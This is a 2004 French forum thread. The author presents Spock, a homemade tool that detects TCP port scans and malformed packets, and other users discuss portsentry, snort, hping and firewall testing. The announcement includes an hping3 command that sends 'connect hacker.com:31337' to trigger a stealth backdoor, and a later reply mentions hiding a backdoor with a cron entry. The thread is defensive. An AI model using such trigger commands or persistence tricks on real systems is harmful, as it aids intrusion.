PDA

Afficher la version complète : Détecter le traffic TCP suspect



devloop
28/10/2004, 15h33
Détecter les scans de ports TCP avec Spock v0.1

Présentation de Spock

Spock est un petit programme que j'ai développé qui permet de détecter le traffic TCP suspect, en particulier les scans de ports TCP.
Le nom 'Spock' vient d'une chanson des Ludwin Von 88 (Spock Around The Clock) que j'étais en train d'écouter lorsque j'ai commencé à coder ce petit programme.
Spock n'est pas user-friendly et ne vous affichera pas une belle boite de message avec un bouton OK disant 'Attention la machine xxx.xxx.xxx.xxx est en train de SYN scanner vos ports'.
Spock fonctionne en mode texte et affiche les informations en temps réel. C'est à vous d'en faire une interprétation.
Spock ne se base pas sur un système de signatures contrairement à Snort et ne permet pas de déterminer si une attaque est l'oeuvre d'un vers ou une attaque bien connue.
Spock n'affiche que le traffic suspect. Par là je veux dire le traffic qui n'est pas sensé existé (tentatives de connexions sur des ports fermés et paquets TCP malformés).

Utilisation

Pour le moment Spock ne fonctionne pas en démon et ne génère pas de logs (mais c'est prévu dans les évolutions).
Pour le compiler :
make spock
ou
gcc -o spock spock.c

Spock nécessite les droits root pour fonctionner. Pour le lancer il suffit de l'appeler à partir d'un terminal (./spock)

Une fois lancé vous obtenez :

>>>>> SPOCK V0.1 <<<<<

Loading interfaces...
Found address 127.0.0.1 on interface lo
Found address 192.168.0.1 on interface eth0

Les informations concernant les interfaces réseaux et leur adresse IP associées ne sont affichées que dans un but informatif, du moins pour l'instant.
Il est prévu pour les prochaines versions que Spock puisse etre utilise meme si un sniffer est en train de fonctionner. Pour le moment n'utilisez pas de sniffer en parallele à Spock sinon ce dernier va générer énormément de faux positifs.

Spock écoute alors le traffic TCP...

Listening anormal traffic...
14:52:03 Knock port 22 [S] from 127.0.0.1:46757
14:52:03 Knock port 25 [S] from 127.0.0.1:46757
14:52:03 Knock port 21 [S] from 127.0.0.1:46757
14:52:03 Knock port 23 [S] from 127.0.0.1:46757

Voici un exemple classique de scan de port dit furtif.
On peut reconnaitre qu'il s'agit d'un scan de ports grace à plusieurs parametres :
- L'adresse IP source est toujours la meme
- Le temps entre deux 'knock' de ports est infime
- Dans certains cas les ports contactés suivent un ordre croissant (cela dépend du logiciel utilisé)

Ici il s'agit d'un scan SYN (flag S dans l'affichage de Spock). Le scan est dit furtif car il n'établie pas une connexion complète avec la machine scannée.
Ces résultats ont été obtenus avec un 'nmap -sS -P0 -p 21-25 localhost'

Maintenant voilà à quoi ressemble un scan de port non-furtif (connexions entièrements établies) :

15:05:41 Knock port 25 [S] from 127.0.0.1:1962
0204400C 0402080A 00CCF1BE 00000000 01030300 | ..@.................

15:05:41 Knock port 21 [S] from 127.0.0.1:1963
0204400C 0402080A 00CCF1BF 00000000 01030300 | ..@.................

15:05:41 Knock port 22 [S] from 127.0.0.1:1964
0204400C 0402080A 00CCF1C0 00000000 01030300 | ..@.................

15:05:41 Knock port 23 [S] from 127.0.0.1:1965
0204400C 0402080A 00CCF1C0 00000000 01030300 | ..@.................

15:05:41 Knock port 24 [S] from 127.0.0.1:1966
0204400C 0402080A 00CCF1C1 00000000 01030300 | ..@.................

Dans ce cas les paquets contiennent des données (ils ne se résument pas à un entete TCP).

Il existe d'autres méthodes de scans furtives mais elles sont moins utilisées que le SYN scans car les différents systèmes d'exploitations ne répondent pas tous comme ils le devraient (principalement un, je vous laisse deviner lequel).

Parmis ces méthodes de scans furtives il y a le FIN scan :

15:09:45 Knock port 80 [F] from 127.0.0.1:55810

Le NULL scan :

15:10:16 Knock port 80 [] from 127.0.0.1:60118

Le Xmas scan :

15:11:26 Knock port 80 [U,F] from 127.0.0.1:33434

Spock ne permet pas seulement de détecter un port scan. Il informe aussi l'utilisateur si la machien recoit des paquets TCP malformés :

15:12:34 Malformed TCP paquet ttl=64

Il peut par exemple s'agir d'un scan protocolaire (voir Protoscan sur mon site).

Quand Spock le peut, il affiche les données reçues, à la fois en hexadécimal et en ASCII. On peut imaginer beaucoup d'utilisations possibles de Spock comme par exemple détecter l'activation d'une backdoor furtive (qui n'ouvre aucun port) :

15:16:03 Knock port 0 [] from 127.0.0.1:1613
636F6E6E 65637420 6861636B 65722E63 6F6D3A33 | connect hacker.com:3
31333337 | 1337

Ici un pirate demande à la backdoor de se connecter au serveur hacker.com sur le port 31337 (la commande utilisée pour cet exemple est ' hping3 -c 1 -e "connect hacker.com:31337" localhost'.

Conclusion
Spock permet d'etre informé en temps réel des agressions sur les ports TCP. Il peut etre intéressant pour les personnes qui n'ont pas le courage ou les besoins d'installer un IDS comme Snort.

Attention: il est possible que Spock renvoie quelques faux positifs. C'est pourquoi il est utile de savoir discerner un scan de ports de ce qui ne l'est pas.

Vous pouvez télécharger Spock sur mon site (http://neeweb.sytes.net/sites/devloop/index.php?p=work).
Vous y trouverez aussi Protoscan pour ceux que ça intéresse...

chamaeleo
28/10/2004, 20h39
ça à l'air plutôt intéressant...

fredblue
29/10/2004, 01h27
Perso pour le scan de ports, j'utilise portsentry. Il bloque automatiquement les IP des machines qui scannent ma passerelle via tcpwrapper cad host.deny.
http://sourceforge.net/projects/sentrytools/

un tutoriel sur portsentry
http://www.falkotimme.com/howtos/chkrootki...entry/index.php (http://www.falkotimme.com/howtos/chkrootkit_portsentry/index.php)

Il y a également snort qui est pas mal et que l'on peut coupler à mysql pour archiver les logs.

Snort est en rpm, mais pas portsentry.

Et je viens de trouver psad : http://www.cipherdyne.org/psad/faq.html

Et je vais tester ton programme sur une de mes machines. Merci pour cette contribution.

molodoi
29/10/2004, 10h01
Originally posted by devloop@Jeudi 28 Octobre 2004 14:33
une chanson des Ludwin Von 88 (Spock Around The Clock)
bien ça http://www.alionet.org/style_emoticons/<#EMO_DIR#>/ohmy.gif

lucienmathieu
01/11/2004, 12h41
Salut, est-ce qu'on ne peut pas faire tout çà avec iptables?

jacqueline
01/11/2004, 13h56
Une petite question developp,

Je suis allé voir ton site et tes oeuvres, la doc.

Est ce qu'on peut tester la configuration du fire wall ( et du reste) de sa propre machine avec Hping ? ( j'en ai qu'une, reliée au net par une carte ethernet, mais je pense qu'il y a un moyen par le biais de localhost ... à moins que je mélange tout.. c'est possible ).

Le petit "guide de la sécurité de linux" mis sur ce site est assez complet sur les différents types d'attaques, avec des exemples de paquets piégés justement.

En suivant bien ce guide, il n'est peut être pas nécessaire de faire cette vérification, mais disons que ça me rassurerait de pouvoir vérifier quelques trucs, puisqu'un certain nombre d'outils de maintenance sont en libre circulation et utilisés à des fins détournées. J'ai vu ça un sur un site de pirates en cherchant "générateurs de paquets" lorsque j'ai découvert etherreal. Heureusement que c'était des gamins vu leur style de langage et qu'ils y comprenaient que dalle !

Lorsqu'on a mis un firewall sous windows, on est sûre de rien ! On croise les doigts pour qu'il n'en passe pas trop à travers. Un truc mal configuré sous linux , ce n'est pas mieux.. Mauvaise politique que celle de l'autruche en matière de sécurité.

Je vais bientôt passer à cette config et sans être parano je n'ai pas envie de bâcler le travail, et surtout de comprendre manip à la clé.

Jacqueline

lucienmathieu
01/11/2004, 17h15
J'ai installé guarddog, mais il me coupe tous mes ports et plus moyen de surfer sur le net ;-P J'ai 2 zone à configurer locale et internet, je suppose que je dois configurer l'accès depuis la zone locale et bloquer la zone internet...

jacqueline
02/11/2004, 00h21
dans mon journal système en recherchant les traces des erreurs à l'installde turbo print. j'ai trouvé des "acces illégal de la part de : :fff <ip machin> sur plusieurs ports dans les 4000 !

argggh !

devloop
02/11/2004, 12h05
Pour Lucienmathieu : je ne connais pas assez iptables pour le répondre, la seule fois où j'ai du l'utiliser c'était sur une knoppix et c'était une règle on ne peut plus simple http://www.alionet.org/style_emoticons/<#EMO_DIR#>/tongue.gif

Pour Jaqueline : oui on peut faire énormément de tests avec Hping mais on peut aussi en faire beaucoup avec Nmap. Seulement Hping permet de mieux comprendre ce qui se passe réellement.
Il y a une excellente doc sur Hping en français... je n'ai pas réussi à trouver l'adresse du fichier texte mais moi je l'ai eu avec hping (dans le tar.gz de hping3 alpha 1).
Actuellement c'est la version hping3 alpha 2 mais je ne sais pas si il y a toujours la doc en fr (un répertoire french)
http://wiki.hping.org/uploadedfiles/101/hp...-alpha-2.tar.gz (http://wiki.hping.org/uploadedfiles/101/hping3-alpha-2.tar.gz)

Le principe de la détection d'un firewall est parfois très simple. Voici un extrait de la doc :
<div class='quotetop'>Citation </div>
Mais qu'arrive-t-il si nous essayons de 'hpinger' un port bloqué par un
firewall ? Cela dépend de la politique / configuration du firewall.
Habituellement nous obtenons un paquet ICMP ou rien. Par exemple :

# hping www.yahoo.com -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes
ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net)

--- www.yahoo.com hping statistic ---
14 packets tramitted, 0 packets received, 100% packet loss

Le firewall de yahoo ne permet pas de connexion sur le port 79, donc il
répond avec un paquet ICMP Packet filtered (ICMP unreachable code 13).[/b]

Sinon avant de faire des tests il est important de comprendre la notion de statefull/stateless qui est entre autre expliqué dans cette doc :
http://www.lsdp.net/~lotfree/doc/firewall/Le%20firewall.pdf

Pour les ports dans les 4000 il y a 4444 qui est la backdoor du ver Blaster et 4899 laissée par Deloder-A.
Sinon ça peut etre des ports correspondant à un logiciel P2P...

lucienmathieu
02/11/2004, 15h45
Super devloop, je vais essayer ce hping ;-P J'utilisai uniquement nmap.
J'ai une question certainement tres bete, quel port utilise le webbrowser pour surfer? Suffirait-il d'ouvrir ce(s) port(s) pour avoir une machine "secure"?

devloop
02/11/2004, 16h34
En fait quand tu te connectes à une autre machine l'OS ouvre un port...
Mais ce n'est pas parce que ce port est ouvert que l'on peut se connecter dessus.
Soit le port est en client soit il est en serveur.
S'il est en serveur alors il est en écoute et il peut accepter un certain nombre de connexions, c'est là où il faut éventuellement protéger le port des attaques.
Par contre en mode client on ne fait que ouvrir un canal de communication avec le serveur et aussitot la communication terminée le port est fermé.. mais à aucun moment il n'a été en écoute...

Donc du point de vue d'un firewall tu n'as pas à te soucier de ces ports qui sont temporairement ouvert.
Les logiciels comme les navigateurs internet utilisent toujours des ports "haut" pour établir une connexion d'abord parce qu'ils ne sont pas "réservés" à certains services et ensuite parce que les ports "bas" ne peuvent etre pris que par root.

lucienmathieu
02/11/2004, 20h25
est-ce que le fait que nmap ne me montre aucun port veut dire qu'ils sont tous fermes? Je suppose que nmap ne me montrerai que les ports en ecoute.

jacqueline
02/11/2004, 21h12
Merci kdevelopp et félicitations : tu maîtrises bien ce sujet passionnant et fort compliqué. ta démarche de programmer des choses, au lieu de te contenter d'outils tout faits, je trouve que c'est bien !

J'ai téléchargé le hping3 pour vérifier : il y a bien la doc en français (de hping2 , mais déjà ça permettra de de commencer, j'ai parcouru en diagonale ). Pas tout de suite : on ne peut pas trop se disperser, il y a tellement de choses dans linux (mais on ne peut pas s'en plaindre par rapport à des systèmes plus hermétiques et c'est ce qui en fait l'intérêt ).

Bien d'accord : si on se contente de lire des bouquins (en général on a tout compris ! ) , mais c'est un peu comme si dans un "autre domaine", on se contentait d'apprendre par coeur le kama soutra... sans mise en pratique http://www.alionet.org/style_emoticons/<#EMO_DIR#>/wub.gif http://www.alionet.org/style_emoticons/<#EMO_DIR#>/wub.gif http://www.alionet.org/style_emoticons/<#EMO_DIR#>/wub.gif http://www.alionet.org/style_emoticons/<#EMO_DIR#>/wub.gif ( une joke qui n'est pas de moi, mais j'étais écroulée de rire devant un parterre de gens coincés dans une réunion professionnelle de haut standing ! )

Ethereal m'a bien aidée à m'adapter aux protocoles du net en plus des bouquins, mais je ne suis jamais passée de l'autre coté, me contentant de tests de connections avec mon navigateur "ie" sur des sites divers et variés...

Faudra que je retrouve une doc assez complète sur les prtocoles du net , d'une grande école mais accessible ( c'est pas de polytechnique ). Celle de "comment ça marche" est pas mal pour commencer, mais assez sommaire.

Pour les ports de communication je n'ai jamais rien trouvé de génial et d'assez concret... (à part des listes de ports mais ça s'arrète souvent là ) si tu as un bon tuyau (puisque tu as l'air de bien connaître le sujet) : j'aspire et je grave un cd rom. Je ne le lirais peut être que l'année prochaine.. Mais tout ce que j'ai lu jusqu'à présent est inutilisable : du "france dimanche" !"

Pourtant j'ai essayé de comprendre (avec windows 98 ) : scan de port , ça me fait une belle jambe de savoir qu'il est ouvert ou fermé si on ne sait pas ce qu'il y a derrière (vu qu'il y en a des milliers, et dans quel sens ça marche ? ) Mais faute de doc moins "fumeuse", on ne peut pas aller plus loin...

Seule ce n'est pas facile (si je ne réfère à certains stages ) ... et puis j'hallucine.

En général lorsque tu fais un test sur un site :

- on te dit de fermer tes ports, mais on ne te dit pas comment (ils ne doivent pas savoir )
- jamais tu ne retrouves le prog généralement affecté à ce port ouvert ! par qui ? (sont pas fous les gars ! )
- un port fermé au moment du test peut très bien être ouvert à 22 heures...ou dès que je me connecte sur un site particulier (pourquoi pas ? ça ne doit pas être bien sorcier à faire ! si j'avais les compétences pour pirater, je ne me ferais pas piéger par des trucs pareils... ).

Véridique ! à l'étranger ( avec win98) je regardais les news d'un grand périodique , et après non connectée à IE6 , mon modem n'arrétait pas de clignoter . Un coup d'ethereal et de whoiis , je trouve l'ip de ce canard ! (pas d'ambiguité là dessus) le firewall zone labs n'a rien vu.. l'AV non plus , le spyware non plus, ni le prog de surveillance de la base de registre. ??? Avec la doc je n'arrive pas à retrouver le prog qui cause tout seul sur ce port ! Ca ne démarrait qu'une fois que je m'étais conncetée et ça s'arrétait sur un reboot, jusqu'à la prochaine connection à leur site ! (je l'ai vérifié au moins une douzaine de fois )

Ce n'est pas de la parano, mais ça m'intrigue et je me demande comment ils font pour passer à travers tout (mais les freeware windows .... ). Je n'ai pas eue le temps de tout décoder non plus, et j'ai viré de mes favoris le site de ce canard pourri ! Le jour où je ressayes, linux sera configuré comme il faut ! je ne crains rien, mais je veux piger et pièger le truc ! ( c'est peut être passé un jour par un mail ...mais l' Av dans les choux )

Le sujet est passionnant !

Jacqueline

devloop
03/11/2004, 10h46
Pour les ports utilisés par Windows il y a une très bonne doc ici :
http://www.hsc.fr/ressources/articles/srv_...aux_windows.pdf (http://www.hsc.fr/ressources/articles/srv_res_win/services_reseaux_windows.pdf)

C'est vrai que très souvent on dit qu'il faut fermer les ports et puis ça s'arrete là http://www.alionet.org/style_emoticons/<#EMO_DIR#>/sad.gif

Pour connaitre quel programme a ouvert tel port sous Linux il y a l'option '-p' de netstat qui donne le PID et le nom du programme (par exemple faire un netstat -atp pour les ports tcp).
Pour windows il y a un programme en ligne de commande qui s'appelle Fport et qui a été développé par Foundstone et qui a le meme objectif.

Ensuite un pirate peut utiliser toutes sortes d'astuces pour se cacher. Par exemple en installant une porte dérobée qui (comme dit Jacqueline) s'active tous les jours à 22 heure (une entrée dans crontab et le tour est joué).

Sinon pour "piéger" un pirate je viens de trouver ce site qui recense toutes sortes de honeypots :
http://www.honeypots.net/honeypots/products

Ce sont des faux serveurs qui simulent les réactions d'un vrai serveur... Bon là c'est un peu attirer l'attention plutot que juste piéger mais ça peut etre intéressant pour comprendre comment certains piratent réagissent.

Par exemple SMTPot.py et Spampot.py sont deux faux serveurs de mails qui permettent de piéger les spammers http://www.alionet.org/style_emoticons/<#EMO_DIR#>/smile.gif